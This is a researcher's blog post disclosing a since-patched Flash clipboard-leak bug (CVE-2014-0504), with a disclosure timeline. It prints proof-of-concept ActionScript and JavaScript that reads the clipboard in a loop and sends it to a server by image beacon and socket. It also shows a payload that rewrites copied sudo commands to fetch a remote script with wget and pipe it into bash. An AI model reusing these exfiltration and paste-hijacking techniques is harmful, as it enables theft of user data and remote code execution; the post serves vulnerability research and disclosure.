Defined Misbehaviour

Web security, programming, reverse-engineering, and everything related.

Leaking Clipboard Contents With Flash: Let’s Explore User-Initiated Actions!

(NOTE: This article has been sitting in my drafts since May 2014. I am very lazy.)

TL;DR

Flash only allows read access to the clipboard in event handlers triggered by paste events, but Flash wasn’t checking if the clipboard contents had changed since entering the event handler. Due to quirks in how Flash’s event handlers work, an attacker could read from and write to the clipboard for hours after the user navigated away from page containing the SWF, even after navigating away or closing the incognito window.

Intro

All that messing around with Flash in my previous posts made me think that I should read more into Flash security. Even if you hate Flash as a user, it’s deployed pretty much everywhere and it’s valuable attack surface! It ended up paying off, after a couple days of testing and reading the docs, I was left with a new bug, CVE-2014-0504:

Let’s go into the combination of issues and possibly surprising behaviour in Flash that allowed clipboard leaking.

User-initiated actions and clipboard access in Flash

This isn’t the first time Flash has had issues with clipboard access. Back in the days of Flash 9, you could write to the clipboard with no interaction at all. That caused a few problems, so when Flash 10 rolled around, Adobe added a few restrictions to clipboard functionality:

First, the new Clipboard API only allowed writing to the clipboard when inside certain event handlers (mousedown, keydown, copy, etc.)

Second, that event handler had to have been triggered by user interaction, meaning that event handlers triggered by dispatchEvent et al. cannot write to the clipboard.

1
2
3
element.addEventListener(MouseEvent.CLICK, function(event:Event):void {
    Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, "Yo dude!");
});

Additionally, a method allowing you to read from the clipboard was added. This was restricted even more, and could only be called inside user-initiated paste events.

1
2
3
4
element.addEventListener(Event.PASTE, function(event:Event):void {
    var contents = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT);
    //...snip
});

Overstaying our welcome

We’ve established that to call Clipboard.getData we must be in a paste event handler, and that handler must have been triggered by the user. As far as I can tell, there’s no way around that. Can we still abuse it?

The obvious thing to check is if we can block inside the event handler. In many browsers, blocking in an event handler in Flash will cause a plugin hang, and a prompt to kill the plugin will spawn. Chrome, however, keeps right on trucking, even when Flash is executing something like while(true){;} 1. The UI and JavaScript all work as usual, a prompt to kill the plugin will only be displayed if the user opens another tab that uses Flash. Actually, our handler will continue to execute even when the tab containing our SWF is closed!

Enjoying the view

Given that we aren’t really penalized for sitting around in a privileged event handler, there’s nothing to stop us from just calling Clipboard.getData() in a loop and checking for changes. We can just get the user to paste something non-sensitive, then abuse our clipboard access to read sensitive information that gets added to it later.

Here’s a basic demonstration of the issue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flash.desktop.*;

protected function init():void {
    // Where jackTarget is a sprite that receives paste events
    jackTarget.addEventListener(Event.PASTE, logClipboard);
}

protected function logClipboard(event:Event):void {
    var lastCB:String = null;
    while(true) {
        // Try not to peg the CPU too much
        __sleep(1000);
        var newCB:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String;
        if(newCB != lastCB) {
            ExternalInterface.call("alert", newCB);
        }
    }
}

private static function __sleep(ms:int):void {
    var target:Date = new Date();
    target.time += ms;
    while(new Date() < target) { ; }
}

Roadblocks to real-world exploitability

Getting the initial paste event

To trigger the exploit, we need to convince the victim to paste something into our SWF. There are a number of usage patterns we could abuse to do that, but I liked the fake captcha method kkotowicz used for his cross-domain content extraction attack. We give the user a random string, and ask them to paste it into “verification box” (actually our SWF,) telling them it’s required to prove they’re not a bot:

Flash’s scriptTimeLimit

Flash will not allow a single event handler to run for longer than 60 seconds. A 60 second window for clipboard access is obviously not ideal for us.

Luckily, the time limit is on individual event handlers, and the paste event bubbles. We can just give our paste target tons of parent elements that also handle paste events, and allow the event to bubble up before the handler gets killed, Then we can log the clipboard for 60~ seconds * \<num of parents\>:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function wrapInListeners(what:Sprite, eventType:String, handler:Function):Sprite {
    what.addEventListener(eventType, handler);
    var highest:Sprite = what;

    // Wrap the element in HBoxes that will handle the event when it bubbles up.
    for(var i:int = 0; i < 140; ++i) {
        var hbox:HBox = new HBox();
        hbox.addChild(highest);
        hbox.addEventListener(eventType, handler);
        highest = hbox;
    }

    return highest;
}
//...snip
wrapInListeners(target, Event.PASTE, tempJackClipboard);

Leaking clipboard contents to a remote server

Unfortunately, I couldn’t find a way to make Flash send HTTP requests while inside the event handler. However, we can pass the data to JavaScript and have it send the data to our servers, since our ActionScript handlers won’t block JS:

1
ExternalInterface.call('leakData', Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String);
1
2
3
function leakData(data) {
   (new Image()).src = "/leak?data=" + encodeURIComponent(data);
}

The ExternalInterface method has the caveat that it will longer work after we’ve navigated away from the page or the tab was closed, even though our event handler will continue to run. As a fallback, we can use Flash’s TCP socket support, which allows synchronous communication. Again, with a caveat that it only seems allow sending a single message while in the event handler 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Initialization code...
var leakSocket:Socket = new Socket();
var url:String = loaderInfo.url;
if(URLUtil.isHttpURL(url) || URLUtil.isHttpsURL(url)) {
    // Set up socket comms with the server
    leakSocket.connect(URLUtil.getServerName(url), 5190);
}

// Inside paste event handler...
if(leakSocket.connected) {
    leakSocket.writeUTFBytes(encoded);
    // only seems to work once while within the handler
    leakSocket.flush();
}

Going the extra mile

So we can leak the clipboard remotely even after navigating away. That’s neat, but we can actually do a lot more! Remember how Flash allows us to write to the clipboard in certain handlers as well? That lets us do all sorts of sneaky things, like detect when someone copies what looks like HTML, and then modify it to include a malware script. Even better, we can detect clipboard contents that look like commands and slip our own payload into them!

1
2
3
4
5
6
7
8
9
10
11
12
var PAYLOAD_START:String = 'echo -e "\\x1B[A\\x1B[J\\$ you could use more complex vt100 codes to scrub this properly but eh";';
// The trailing newline will make it execute immediately after pasting in many shells, not giving them time to inspect the command
// see https://cirw.in/blog/bracketed-paste
var PAYLOAD_END:String = ';wget "http://saynotolinux.com/bash_payload.txt" -O - 2>/dev/null | bash;\n';
// snip...

var cbContents:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String;
// This looks like an interesting command to hijack, the user will be expecting to enter their sudo password,
// and they won't need to enter a password for our payload if we run it afterwards.
if (cbContents.match(/^sudo /)) {
    Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, PAYLOAD_START + cbContents + PAYLOAD_END);
}

PoC

The code for a full PoC is here, and a live version without the echo server is also up here.

The Fix

The initial fix was to expose a sequence number to Flash so it could tell if the clipboard state had changed since the initial event was raised, and block access to the clipboard. That stayed in place for a while, but some time after that it was replaced with a change that blocked clipboard reads 10 seconds after the event was raised. If I had to guess why, some application probably relied on being able to do multiple clipboard reads and writes in the same event handler.

Being able to read the clipboard 10 seconds after the initial paste event still seems a bit much, but it’s definitely better than how it was before.

The Take-Away

  • Flash event handlers may continue to execute up to two hours after starting, even after closing incognito windows!
  • Flash’s Socket class is useful something other than bypassing the user’s proxy!
  • Flash still has low-hanging fruit to be picked, and its stdlib is absolutely enormous. There aren’t many eyeballs on it either, you’re only really competing against Masato Kinugawa :)

Disclosure Timeline

  • 2014-01-06: Disovered the bug
  • 2014-01-09: Reported to Google’s sec team due to it mostly affecting PPAPI Flash
  • 2014-01-09: Bug confirmed by Google’s security team
  • 2014-01-13: Bug confirmed by Adobe’s security team
  • 2014-01-29: Google ships code exposing the clipboard sequence num to Flash via PPAPI
  • 2014-03-14: Adobe ships a fix to use Chrome’s clipboard sequence number
  • ???: Flash switches to allowing clipboard reads for 10 seconds after the event is raised

Footnotes


  1. Firefox on Linux demonstrates similar behaviour, but allows Flash’s event handlers to continue executing even after the browser has closed.

  2. Again, Firefox on Linux behaves differently. You can send / receive as much as you want, even after the browser has closed. It’s possible that Chrome’s behaviour is a bug.